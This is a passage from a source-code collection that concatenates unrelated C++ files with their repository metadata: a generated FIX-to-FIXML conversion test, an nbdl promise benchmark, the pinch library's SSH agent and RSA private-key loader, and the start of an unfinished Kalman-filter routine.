set_field(noUndlyInstrumentPartySubIDs_1_2_2_0, FIX::UnderlyingInstrumentPartySubIDType{1735563770}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_17);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_17);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_2.addGroup(noUndlyInstrumentPartySubIDs_1_2_2_0);\n      }\n      {\n        FIX50SP2::AllocationInstruction::NoUnderlyings::NoUndlyInstrumentParties::NoUndlyInstrumentPartySubIDs noUndlyInstrumentPartySubIDs_1_2_2_1;\n        // UndlyInstrumentPtysSubGrp.NoUndlyInstrumentPartySubIDs\n        multiset<string> UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_18;\n        set_field(noUndlyInstrumentPartySubIDs_1_2_2_1, FIX::UnderlyingInstrumentPartySubID{\"STRING_71602075\"}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_18);\n        set_field(noUndlyInstrumentPartySubIDs_1_2_2_1, FIX::UnderlyingInstrumentPartySubIDType{221201256}, UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_18);\n        all_values.push_back(UndlyInstrumentPtysSubGrp_NoUndlyInstrumentPartySubIDs_18);\n        all_compo_names.insert(\"...NoUnderlyings....NoUndlyInstrumentParties...NoUndlyInstrumentPartySubIDs\");\n\n        noUndlyInstrumentParties_1_1_2.addGroup(noUndlyInstrumentPartySubIDs_1_2_2_1);\n      }\n      noUnderlyings_0_1.addGroup(noUndlyInstrumentParties_1_1_2);\n    }\n    msg.addGroup(noUnderlyings_0_1);\n  }\n  // YieldData\n  multiset<string> YieldData_0;\n  FIX::Yield Yield_0;\n  Yield_0.setString(\"9.530000\");\nset_field(msg, Yield_0, YieldData_0);\n  set_field(msg, FIX::YieldCalcDate{\"LOCALMKTDATE_1411321341\"}, YieldData_0);\n  set_field(msg, FIX::YieldRedemptionDate{\"LOCALMKTDATE_369053564\"}, YieldData_0);\n  FIX::YieldRedemptionPrice YieldRedemptionPrice_0;\n  YieldRedemptionPrice_0.setString(\"14152976\");\nset_field(msg, YieldRedemptionPrice_0, YieldData_0);\n  set_field(msg, FIX::YieldRedemptionPriceType{1779518982}, YieldData_0);\n  set_field(msg, FIX::YieldType{\"STRING_CURRENT\"}, YieldData_0);\n  all_values.push_back(YieldData_0);\n  all_compo_names.insert(\".\");\n\n  // header\n  multiset<string> header_2;\n  set_header_field(msg.getHeader(), FIX::ApplVerID{\"STRING_3\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::BeginString{\"STRING_922895924\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::BodyLength{350913743}, header_2);\n  set_header_field(msg.getHeader(), FIX::CstmApplVerID{\"STRING_1781610052\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::DeliverToCompID{\"STRING_1017509744\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::DeliverToLocationID{\"STRING_1818837964\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::DeliverToSubID{\"STRING_1820933042\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::LastMsgSeqNumProcessed{1717091586}, header_2);\n  set_header_field(msg.getHeader(), FIX::MessageEncoding{\"STRING_UTF-8\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::MsgSeqNum{1856386916}, header_2);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfCompID{\"STRING_823013188\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfLocationID{\"STRING_44824780\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::OnBehalfOfSubID{\"STRING_1133058307\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::OrigSendingTime{FIX::UTCTIMESTAMP(20, 38, 14, 22, 2, 2004)}, header_2);\n  set_header_field(msg.getHeader(), FIX::PossDupFlag{true}, header_2);\n  set_header_field(msg.getHeader(), FIX::PossResend{false}, header_2);\n  set_header_field(msg.getHeader(), FIX::SecureData{\"DATA_1493245684\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::SecureDataLen{2113280289}, header_2);\n  set_header_field(msg.getHeader(), FIX::SenderCompID{\"STRING_1401814885\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::SenderLocationID{\"STRING_114022989\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::SenderSubID{\"STRING_1377117983\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::SendingTime{FIX::UTCTIMESTAMP(3, 57, 39, 2, 6, 2002)}, header_2);\n  set_header_field(msg.getHeader(), FIX::TargetCompID{\"STRING_537473578\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::TargetLocationID{\"STRING_802075338\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::TargetSubID{\"STRING_1525412638\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::XmlData{\"DATA_210922972\"}, header_2);\n  set_header_field(msg.getHeader(), FIX::XmlDataLen{371683276}, header_2);\n  all_values.push_back(header_2);\n  all_compo_names.insert(\".header\");\n\n\n  xml_element elt;\n  converter.fix2fixml(msg, elt);\n  BOOST_LOG_TRIVIAL(debug) << \"The resulting XML is\";\n  cout << \"////////////////////////////////////////////\" << endl;\n  cout << elt.to_string() << endl;\n  cout << \"////////////////////////////////////////////\" << endl << endl;\n\n  BOOST_LOG_TRIVIAL(debug) << \"Quickfix XML representation is\";\n  cout << \"////////////////////////////////////////////\" << endl;\n  cout << msg.toXML() << endl;\n  cout << \"////////////////////////////////////////////\" << endl << endl;\n  list<multiset<string>> elt_lists;\n  elt.to_list(elt_lists);\n  EXPECT_EQ(elt_lists.size(), all_values.size());\n\n  if (elt_lists.size() != all_values.size())  {\n    multiset<string> elt_compo_name;\n    elt.all_components(elt_compo_name);\n    BOOST_LOG_TRIVIAL(debug) << \"XML Elements are:\";\n    cout << \"\t[\";\n    copy(elt_compo_name.begin(), elt_compo_name.end(), ostream_iterator<string>(cout, \" \"));    cout << \"]\" << endl;\n\n    BOOST_LOG_TRIVIAL(debug) << \"FIX Components are:\"; \n    cout << \"\t[\";\n    copy(all_compo_names.begin(), all_compo_names.end(), ostream_iterator<string>(cout, \" \"));    cout << \"]\" << endl;\n\n  }\n  BOOST_LOG_TRIVIAL(debug) << \"All FIX components\";\n  for (const auto& l : all_values) {\n    cout << \"\t[\";\n    copy(l.begin(), l.end(), ostream_iterator<string>(cout, \" \"));\n    cout << \"]\" << endl;\n  }\n  BOOST_LOG_TRIVIAL(debug) << \"All XML components\";\n  for (const auto& l : elt_lists) {\n    cout << \"\t[\";\n    copy(l.begin(), l.end(), ostream_iterator<string>(cout, \" \"));\n    cout << \"]\" << endl;\n\n  }\n\n  for (const auto& xml_l : elt_lists) {\n    bool found = false;\n    for (const auto& l : all_values) {\n      if (includes(l.begin(), l.end(), xml_l.begin(), xml_l.end())) {\n        found = true;\n        break;\n      } // end if includes\n    } // end for all_values\n    EXPECT_TRUE(found);\n    if ( ! found) {\n      BOOST_LOG_TRIVIAL(debug) << \"[TO CHECK] This XML component was not found in FIX message\";\n      cout << \"\t ---> [\";\n      copy(xml_l.begin(), xml_l.end(), ostream_iterator<string>(cout, \" \"));      cout << \"]\" << endl << endl;\n    } // end if ! found\n  } // end for elt_lists\n}\n", "meta": {"hexsha": "7697ebcb5741a0a4f6107ab4f5ec51cf56b87f62", "size": 154170, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "tools/generated/fix2xml/test_fix2xml_AllocationInstruction.cpp", "max_stars_repo_name": "abdelkaderamar/fix2xml", "max_stars_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1.0, "max_stars_repo_stars_event_min_datetime": "2019-09-26T12:08:19.000Z", "max_stars_repo_stars_event_max_datetime": "2019-09-26T12:08:19.000Z", "max_issues_repo_path": "tools/generated/fix2xml/test_fix2xml_AllocationInstruction.cpp", "max_issues_repo_name": "abdelkaderamar/fix2xml", "max_issues_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tools/generated/fix2xml/test_fix2xml_AllocationInstruction.cpp", "max_forks_repo_name": "abdelkaderamar/fix2xml", "max_forks_repo_head_hexsha": "fa781b747a8e40ed4c2d3dee8294fb51654f7428", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1.0, "max_forks_repo_forks_event_min_datetime": "2020-12-11T04:11:44.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-11T04:11:44.000Z", "avg_line_length": 59.364651521, "max_line_length": 173, "alphanum_fraction": 0.7919699034, "num_tokens": 48593, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5156199157230157, "lm_q2_score": 0.22270013366638422, "lm_q1q2_score": 0.11482862415256535}}
{"text": "#include <boost/hana.hpp>\n#include <mpdef/list.hpp>\n#include <nbdl.hpp>\n#include <string>\n\nnamespace hana = boost::hana;\n\nint main()\n{\n  auto my_promise = nbdl::promise([](auto& resolver, auto value)\n  {\n    if (value > hana::size_c<10>)\n      resolver.reject(value);\n    else\n      resolver.resolve(value + hana::size_c<1>);\n  });\n\n  volatile std::size_t result;\n#if defined(METABENCH)\n  nbdl::run_sync(\n    hana::make_tuple(\n      hana::make_tuple(\n        <%= (0..n).map { |i| \"my_promise\" }.join(', ') %>\n      )\n    , [&](auto value) { result = decltype(value)::value; }\n    , nbdl::catch_([](auto&&) { })\n    )\n  , hana::size_c<0>\n  );\n#endif\n}\n", "meta": {"hexsha": "ed3603e2a51bc3e04ecef3068ce95cc74c0343f9", "size": 651, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "metabench/run_sync.cpp", "max_stars_repo_name": "ricejasonf/nbdl", "max_stars_repo_head_hexsha": "ae63717c96ab2c36107bc17b2b00115f96e9d649", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": 47.0, "max_stars_repo_stars_event_min_datetime": "2016-06-20T01:41:24.000Z", "max_stars_repo_stars_event_max_datetime": "2021-11-16T10:53:27.000Z", "max_issues_repo_path": "metabench/run_sync.cpp", "max_issues_repo_name": "ricejasonf/nbdl", "max_issues_repo_head_hexsha": "ae63717c96ab2c36107bc17b2b00115f96e9d649", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": 21.0, "max_issues_repo_issues_event_min_datetime": "2015-11-12T23:05:47.000Z", "max_issues_repo_issues_event_max_datetime": "2019-07-17T19:01:40.000Z", "max_forks_repo_path": "metabench/run_sync.cpp", "max_forks_repo_name": "ricejasonf/nbdl", "max_forks_repo_head_hexsha": "ae63717c96ab2c36107bc17b2b00115f96e9d649", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": 6.0, "max_forks_repo_forks_event_min_datetime": "2015-11-12T21:23:29.000Z", "max_forks_repo_forks_event_max_datetime": "2019-05-09T17:54:25.000Z", "avg_line_length": 20.34375, "max_line_length": 64, "alphanum_fraction": 0.579109063, "num_tokens": 199, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.538983220687684, "lm_q2_score": 0.21206879439743007, "lm_q1q2_score": 0.11430152181168113}}
{"text": "//        Copyright Maarten L. Hekkelman 2013-2021\n// Distributed under the Boost Software License, Version 1.0.\n//    (See accompanying file LICENSE_1_0.txt or copy at\n//          http://www.boost.org/LICENSE_1_0.txt)\n\n#include <pinch/pinch.hpp>\n\n#include <regex>\n\n#include <pinch/connection.hpp>\n#include <pinch/detail/ssh_agent_impl.hpp>\n#include <pinch/ssh_agent.hpp>\n#include <pinch/ssh_agent_channel.hpp>\n\n#include <cryptopp/base64.h>\n#include <cryptopp/osrng.h>\n#include <cryptopp/rsa.h>\n#include <cryptopp/modes.h>\n#include <cryptopp/aes.h>\n#include <cryptopp/camellia.h>\n#include <cryptopp/des.h>\n#include <cryptopp/hex.h>\n#include <cryptopp/idea.h>\n#define CRYPTOPP_ENABLE_NAMESPACE_WEAK 1\n#include <cryptopp/md5.h>\n\n#include <boost/algorithm/string.hpp>\n\nusing namespace CryptoPP;\nnamespace ba = boost::algorithm;\n\nnamespace pinch\n{\n\n// --------------------------------------------------------------------\n// ssh_private_key_impl\n\nssh_private_key_impl::ssh_private_key_impl(const blob &b)\n\t: m_blob(b)\n\t, m_refcount(1)\n{\n}\n\nssh_private_key_impl::~ssh_private_key_impl()\n{\n\tassert(m_refcount == 0);\n}\n\nvoid ssh_private_key_impl::reference()\n{\n\t++m_refcount;\n}\n\nvoid ssh_private_key_impl::release()\n{\n\tif (--m_refcount == 0)\n\t\tdelete this;\n}\n\n// --------------------------------------------------------------------\n// ssh_basic_private_key_impl\n\nclass ssh_basic_private_key_impl : public ssh_private_key_impl\n{\n  public:\n\tssh_basic_private_key_impl(RSA::PrivateKey &rsa, const blob &b, const std::string &comment)\n\t\t: ssh_private_key_impl(b)\n\t\t, mPrivateKey(rsa)\n\t\t, mComment(comment)\n\t{\n\t}\n\n\tvirtual blob sign(const blob &session_id, const opacket &p);\n\n\tvirtual std::string get_type() const { return \"ssh-rsa\"; }\n\tvirtual blob get_hash() const { return blob(); }\n\tvirtual std::string get_comment() const { return mComment; }\n\n  private:\n\tRSA::PrivateKey mPrivateKey;\n\tstd::string mComment;\n};\n\nblob ssh_basic_private_key_impl::sign(const blob &session_id, const opacket &p)\n{\n\tAutoSeededRandomPool rng;\n\n\tblob message(session_id);\n\tconst blob &data(p);\n\tmessage.insert(message.end(), data.begin(), data.end());\n\n\tRSASSA_PKCS1v15_SHA_Signer signer(mPrivateKey);\n\tsize_t length = signer.MaxSignatureLength();\n\tblob digest(length);\n\n\tsigner.SignMessage(rng, message.data(), message.size(), digest.data());\n\n\topacket signature;\n\tsignature << get_type() << digest;\n\treturn signature;\n}\n\n// --------------------------------------------------------------------\n// ssh_private_key\n\nssh_private_key::ssh_private_key(ssh_private_key_impl *impl)\n\t: m_impl(impl)\n{\n}\n\nssh_private_key::ssh_private_key(const ssh_private_key &inKey)\n\t: m_impl(inKey.m_impl)\n{\n\tm_impl->reference();\n}\n\nssh_private_key::~ssh_private_key()\n{\n\tm_impl->release();\n}\n\nssh_private_key &ssh_private_key::operator=(const ssh_private_key &inKey)\n{\n\tif (this != &inKey)\n\t{\n\t\tm_impl->release();\n\t\tm_impl = inKey.m_impl;\n\t\tm_impl->reference();\n\t}\n\n\treturn *this;\n}\n\nblob ssh_private_key::sign(const blob &session_id, const opacket &data)\n{\n\treturn m_impl->sign(session_id, data);\n}\n\nstd::string ssh_private_key::get_type() const\n{\n\treturn m_impl->get_type();\n}\n\nblob ssh_private_key::get_blob() const\n{\n\treturn m_impl->get_blob();\n}\n\nblob ssh_private_key::get_hash() const\n{\n\treturn m_impl->get_hash();\n}\n\nstd::string ssh_private_key::get_comment() const\n{\n\treturn m_impl->get_comment();\n}\n\n// --------------------------------------------------------------------\n\nssh_agent &ssh_agent::instance()\n{\n\tstatic ssh_agent s_instance;\n\treturn s_instance;\n}\n\nssh_agent::ssh_agent()\n{\n\tupdate();\n}\n\nssh_agent::~ssh_agent()\n{\n\tm_private_keys.clear();\n}\n\nvoid ssh_agent::process_agent_request(ipacket &in, opacket &out)\n{\n\tswitch ((message_type)in)\n\t{\n\t\tcase SSH_AGENTC_REQUEST_RSA_IDENTITIES:\n\t\t\tout = opacket(SSH_AGENT_RSA_IDENTITIES_ANSWER) << uint32_t(0);\n\t\t\tbreak;\n\n\t\tcase SSH2_AGENTC_REQUEST_IDENTITIES:\n\t\t{\n\t\t\tout = opacket(SSH2_AGENT_IDENTITIES_ANSWER) << uint32_t(m_private_keys.size());\n\n\t\t\tfor (auto &key : m_private_keys)\n\t\t\t\tout << key.get_blob() << key.get_comment();\n\t\t\tbreak;\n\t\t}\n\n\t\tcase SSH2_AGENTC_SIGN_REQUEST:\n\t\t{\n\t\t\tipacket blob, data;\n\t\t\tin >> blob >> data;\n\n\t\t\tssh_private_key key = get_key(blob);\n\n\t\t\tif (key)\n\t\t\t\tout = opacket(SSH2_AGENT_SIGN_RESPONSE) << key.sign(data, opacket());\n\t\t\telse\n\t\t\t\tout = opacket(SSH_AGENT_FAILURE);\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault:\n\t\t\tout = opacket(SSH_AGENT_FAILURE);\n\t\t\tbreak;\n\t}\n}\n\nvoid ssh_agent::update()\n{\n\tstd::list<blob> deleted;\n\n\tfor (ssh_private_key &key : m_private_keys)\n\t\tdeleted.push_back(key.get_hash());\n\n\tm_private_keys.clear();\n\tssh_private_key_impl::create_list(m_private_keys);\n\n\tfor (ssh_private_key &key : m_private_keys)\n\t\tdeleted.erase(remove(deleted.begin(), deleted.end(), key.get_hash()), deleted.end());\n\n\tconnection_list connections(m_registered_connections);\n\n\tfor (blob &hash : deleted)\n\t{\n\t\tfor (std::shared_ptr<basic_connection> connection : connections)\n\t\t{\n\t\t\tif (connection->uses_private_key(hash))\n\t\t\t\tconnection->close();\n\t\t}\n\t}\n}\n\nvoid ssh_agent::register_connection(std::shared_ptr<basic_connection> connection)\n{\n\tif (find(m_registered_connections.begin(), m_registered_connections.end(), connection) == m_registered_connections.end())\n\t\tm_registered_connections.push_back(connection);\n}\n\nvoid ssh_agent::unregister_connection(std::shared_ptr<basic_connection> connection)\n{\n\tm_registered_connections.erase(\n\t\tremove(m_registered_connections.begin(), m_registered_connections.end(), connection),\n\t\tm_registered_connections.end());\n}\n\nvoid ssh_agent::expose_pageant(bool expose)\n{\n#if defined(_MSC_VER)\n\tpinch::expose_pageant(expose);\n#endif\n}\n\nstruct ssh_known_cipher_for_private_key\n{\n\tstd::string name;\n\tuint32_t key_size;\n\tuint32_t iv_size;\n\tstd::function<SymmetricCipher *()> factory;\n} kKnownCiphers[] = {\n\t{\"AES-256-CBC\", 32, 16, []() -> SymmetricCipher * { return new CBC_Mode<AES>::Decryption; }},\n\t{\"AES-192-CBC\", 24, 16, []() -> SymmetricCipher * { return new CBC_Mode<AES>::Decryption; }},\n\t{\"AES-128-CBC\", 16, 16, []() -> SymmetricCipher * { return new CBC_Mode<AES>::Decryption; }},\n\t{\"CAMELLIA-256-CBC\", 32, 16, []() -> SymmetricCipher * { return new CBC_Mode<Camellia>::Decryption; }},\n\t{\"CAMELLIA-192-CBC\", 24, 16, []() -> SymmetricCipher * { return new CBC_Mode<Camellia>::Decryption; }},\n\t{\"CAMELLIA-128-CBC\", 16, 16, []() -> SymmetricCipher * { return new CBC_Mode<Camellia>::Decryption; }},\n\t{\"DES-EDE3-CBC\", 24, 8, []() -> SymmetricCipher * { return new CBC_Mode<DES_EDE3>::Decryption; }},\n\t{\"IDEA-CBC\", 16, 8, []() -> SymmetricCipher * { return new CBC_Mode<IDEA>::Decryption; }},\n\t{\"DES-CBC\", 8, 8, []() -> SymmetricCipher * { return new CBC_Mode<DES>::Decryption; }}};\n\n// Signature changed a bit to match Crypto++. Salt must be PKCS5_SALT_LEN in length.\n//  Salt, Data and Count are IN; Key and IV are OUT.\nint OPENSSL_EVP_BytesToKey(HashTransformation &hash,\n                           const unsigned char *salt, const unsigned char *data, int dlen,\n                           unsigned int count, unsigned char *key, unsigned int ksize,\n                           unsigned char *iv, unsigned int vsize);\n\n// From OpenSSL, crypto/evp/evp.h.\nstatic const unsigned int OPENSSL_PKCS5_SALT_LEN = 8;\n\n// 64-character line length is required by RFC 1421.\n// static const unsigned int RFC1421_LINE_BREAK = 64;\n// static const unsigned int OPENSSL_B64_LINE_BREAK = 76;\n\n// From crypto/evp/evp_key.h. Signature changed a bit to match Crypto++.\nint OPENSSL_EVP_BytesToKey(HashTransformation &hash,\n                           const unsigned char *salt, const unsigned char *data, int dlen,\n                           unsigned int count, unsigned char *key, unsigned int ksize,\n                           unsigned char *iv, unsigned int vsize)\n{\n\tunsigned int niv, nkey, nhash;\n\tunsigned int addmd = 0, i;\n\n\tnkey = ksize;\n\tniv = vsize;\n\tnhash = hash.DigestSize();\n\n\tSecByteBlock digest(hash.DigestSize());\n\n\tif (data == NULL)\n\t\treturn (0);\n\n\tfor (;;)\n\t{\n\t\thash.Restart();\n\n\t\tif (addmd++)\n\t\t\thash.Update(digest.data(), digest.size());\n\n\t\thash.Update(data, dlen);\n\n\t\tif (salt != NULL)\n\t\t\thash.Update(salt, OPENSSL_PKCS5_SALT_LEN);\n\n\t\thash.TruncatedFinal(digest.data(), digest.size());\n\n\t\tfor (i = 1; i < count; i++)\n\t\t{\n\t\t\thash.Restart();\n\t\t\thash.Update(digest.data(), digest.size());\n\t\t\thash.TruncatedFinal(digest.data(), digest.size());\n\t\t}\n\n\t\ti = 0;\n\t\tif (nkey)\n\t\t{\n\t\t\tfor (;;)\n\t\t\t{\n\t\t\t\tif (nkey == 0)\n\t\t\t\t\tbreak;\n\t\t\t\tif (i == nhash)\n\t\t\t\t\tbreak;\n\t\t\t\tif (key != NULL)\n\t\t\t\t\t*(key++) = digest[i];\n\t\t\t\tnkey--;\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tif (niv && (i != nhash))\n\t\t{\n\t\t\tfor (;;)\n\t\t\t{\n\t\t\t\tif (niv == 0)\n\t\t\t\t\tbreak;\n\t\t\t\tif (i == nhash)\n\t\t\t\t\tbreak;\n\t\t\t\tif (iv != NULL)\n\t\t\t\t\t*(iv++) = digest[i];\n\t\t\t\tniv--;\n\t\t\t\ti++;\n\t\t\t}\n\t\t}\n\t\tif ((nkey == 0) && (niv == 0))\n\t\t\tbreak;\n\t}\n\n\treturn ksize;\n}\n\nvoid ssh_agent::add(const std::string &private_key, const std::string &key_comment, std::function<bool(std::string &)> provide_password)\n{\n\tAutoSeededRandomPool prng;\n\tstd::regex rx(\n\t\t\"^-+BEGIN RSA PRIVATE KEY-+\\\\n\"\n\t\t\"(?:\"\n\t\t\"((?:^[^:]+:\\\\s*\\\\S.+\\\\n)+)\"\n\t\t\"\\\\n)?\"\n\t\t\"([ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\\\\s]+)=*\\\\n\"\n\t\t\"-+END RSA PRIVATE KEY-+\\n?\");\n\n\tstd::smatch m;\n\n\tif (not std::regex_match(private_key, m, rx))\n\t\tthrow std::runtime_error(\"Invalid PEM file\");\n\n\tstd::string keystr = m[2].str();\n\tstd::string password;\n\n\tstd::unique_ptr<SymmetricCipher> cipher;\n\n\tif (m[1].matched and provide_password(password))\n\t{\n\t\t// the keystr is probably encrypted\n\t\tstd::string algo;\n\t\tstd::string iv;\n\n\t\tstd::stringstream s(m[1].str());\n\t\tfor (;;)\n\t\t{\n\t\t\tstd::string line;\n\t\t\tgetline(s, line);\n\n\t\t\tif (line.empty())\n\t\t\t\tbreak;\n\n\t\t\tif (ba::starts_with(line, \"Proc-Type:\") and not ba::ends_with(line, \"4,ENCRYPTED\"))\n\t\t\t{\n\t\t\t\talgo.clear();\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif (ba::starts_with(line, \"DEK-Info:\"))\n\t\t\t{\n\t\t\t\tstd::string::size_type t = 9;\n\t\t\t\twhile (t < line.length() and line[t] == ' ')\n\t\t\t\t\t++t;\n\t\t\t\tline.erase(0, t);\n\t\t\t\tt = line.find(',');\n\t\t\t\talgo = ba::to_upper_copy(line.substr(0, t));\n\t\t\t\tiv = line.substr(t + 1);\n\t\t\t}\n\t\t}\n\n\t\tfor (auto c : kKnownCiphers)\n\t\t{\n\t\t\tif (c.name != algo)\n\t\t\t\tcontinue;\n\n\t\t\tHexDecoder hex;\n\t\t\thex.Put((unsigned char *)iv.c_str(), iv.length());\n\t\t\thex.MessageEnd();\n\n\t\t\tsize_t iv_size = hex.MaxRetrievable();\n\t\t\tif (iv_size > c.iv_size)\n\t\t\t\tiv_size = c.iv_size;\n\n\t\t\tSecByteBlock key(c.key_size);\n\t\t\tSecByteBlock iv(iv_size);\n\t\t\tSecByteBlock salt(iv_size);\n\n\t\t\thex.Get(iv.data(), iv.size());\n\n\t\t\tsalt = iv;\n\n\t\t\tCryptoPP::Weak1::MD5 md5;\n\t\t\t(void)OPENSSL_EVP_BytesToKey(md5, iv.data(), (const unsigned char *)password.c_str(), password.length(),\n\t\t\t                             1, key.data(), key.size(), nullptr, 0);\n\n\t\t\tcipher.reset(c.factory());\n\t\t\tcipher->SetKeyWithIV(key.data(), key.size(), iv.data(), iv.size());\n\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tstd::string key;\n\n\t// Base64 decode, place in a ByteQueue\n\tByteQueue queue;\n\tBase64Decoder decoder;\n\n\tdecoder.Attach(new Redirector(queue));\n\tdecoder.Put((const unsigned char *)keystr.data(), keystr.length());\n\tdecoder.MessageEnd();\n\n\tif (cipher)\n\t{\n\t\tByteQueue temp;\n\t\tStreamTransformationFilter filter(*cipher, new Redirector(temp));\n\t\tqueue.TransferTo(filter);\n\t\tfilter.MessageEnd();\n\n\t\tqueue = temp;\n\t}\n\n\tRSA::PrivateKey rsaPrivate;\n\trsaPrivate.BERDecodePrivateKey(queue, false /*paramsPresent*/, queue.MaxRetrievable());\n\n\tif (not queue.IsEmpty() or not rsaPrivate.Validate(prng, 3))\n\t\tthrow std::runtime_error(\"RSA private key is not valid\");\n\n\topacket b;\n\tb << \"ssh-rsa\" << rsaPrivate.GetPublicExponent() << rsaPrivate.GetModulus();\n\n\tm_private_keys.push_back(ssh_private_key(new ssh_basic_private_key_impl(rsaPrivate, (blob)b, key_comment)));\n}\n\nssh_private_key ssh_agent::get_key(ipacket &b) const\n{\n\tfor (auto &key : m_private_keys)\n\t{\n\t\tif ((blob)b == key.get_blob())\n\t\t\treturn key;\n\t}\n\n\tthrow std::runtime_error(\"private key not found\");\n}\n\n// --------------------------------------------------------------------\n\nssh_agent_channel::ssh_agent_channel(std::shared_ptr<basic_connection> connection)\n\t: channel(connection)\n{\n}\n\nssh_agent_channel::~ssh_agent_channel()\n{\n}\n\nvoid ssh_agent_channel::opened()\n{\n\tchannel::opened();\n\n\topacket out(msg_channel_open_confirmation);\n\tout << m_host_channel_id << m_my_channel_id << m_my_window_size << kMaxPacketSize;\n\tm_connection->async_write(std::move(out));\n}\n\nvoid ssh_agent_channel::receive_data(const char *data, size_t size)\n{\n\twhile (size > 0)\n\t{\n\t\tif (m_packet.empty() and size < 4)\n\t\t{\n\t\t\tclose(); // we have an empty packet and less than 4 bytes...\n\t\t\tbreak;   // simply fail this agent. I guess this should never happen\n\t\t}\n\n\t\tsize_t r = m_packet.read(data, size);\n\n\t\tif (m_packet.complete())\n\t\t{\n\t\t\topacket out;\n\t\t\tssh_agent::instance().process_agent_request(m_packet, out);\n\t\t\tout = (opacket() << out);\n\t\t\tsend_data(std::move(out));\n\n\t\t\tm_packet.clear();\n\t\t}\n\n\t\tdata += r;\n\t\tsize -= r;\n\t}\n}\n\n} // namespace pinch\n", "meta": {"hexsha": "0b09a6fc70f9281dc3918d84e21c2922321b8606", "size": 12805, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/ssh_agent.cpp", "max_stars_repo_name": "mhekkel/pinch", "max_stars_repo_head_hexsha": "399e6810080861b585a3bf863c2977654890f7b9", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/ssh_agent.cpp", "max_issues_repo_name": "mhekkel/pinch", "max_issues_repo_head_hexsha": "399e6810080861b585a3bf863c2977654890f7b9", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/ssh_agent.cpp", "max_forks_repo_name": "mhekkel/pinch", "max_forks_repo_head_hexsha": "399e6810080861b585a3bf863c2977654890f7b9", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.6254612546, "max_line_length": 136, "alphanum_fraction": 0.6569308864, "num_tokens": 3473, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5117166047041654, "lm_q2_score": 0.2200070946316962, "lm_q1q2_score": 0.11258128347575959}}
{"text": "#include <Eigen/Dense>\n\nusing namespace Eigen;\nusing namespace std;\n\nvector<MatrixXd> ukfMed(Vector3d xk, Matrix3d Pk, map<int, vector<double>> zk, Matrix3d Rk)\n{\n\tfor(map< int, vector <double> >::iterator im = zk.begin(); im != zk.end(); im++)\n\t{\n\t\n\t\tzk[i]\n\t\t\n\t\tstringstream ss;\n\n\t\tss << im->first << \":\";\n\n\t\tfor(vector<double>::iterator iv = im->second.begin(); iv != im->second.end(); iv++)\n\t\t\tss << \" \" << *iv;\n\n\t\tROS_INFO(\"%s\",ss.str().c_str());\n\t}\n}\n", "meta": {"hexsha": "49052273309245e5139f3d7078c151977d9711b2", "size": 456, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "pioneer/artoolkit_localization/ukf_figama/ukfMed.cpp", "max_stars_repo_name": "lara-unb/amora", "max_stars_repo_head_hexsha": "05ce66f3a9ad52db35aad06d6315c5fa824effd0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 9.0, "max_stars_repo_stars_event_min_datetime": "2015-03-02T05:20:32.000Z", "max_stars_repo_stars_event_max_datetime": "2020-11-17T12:41:27.000Z", "max_issues_repo_path": 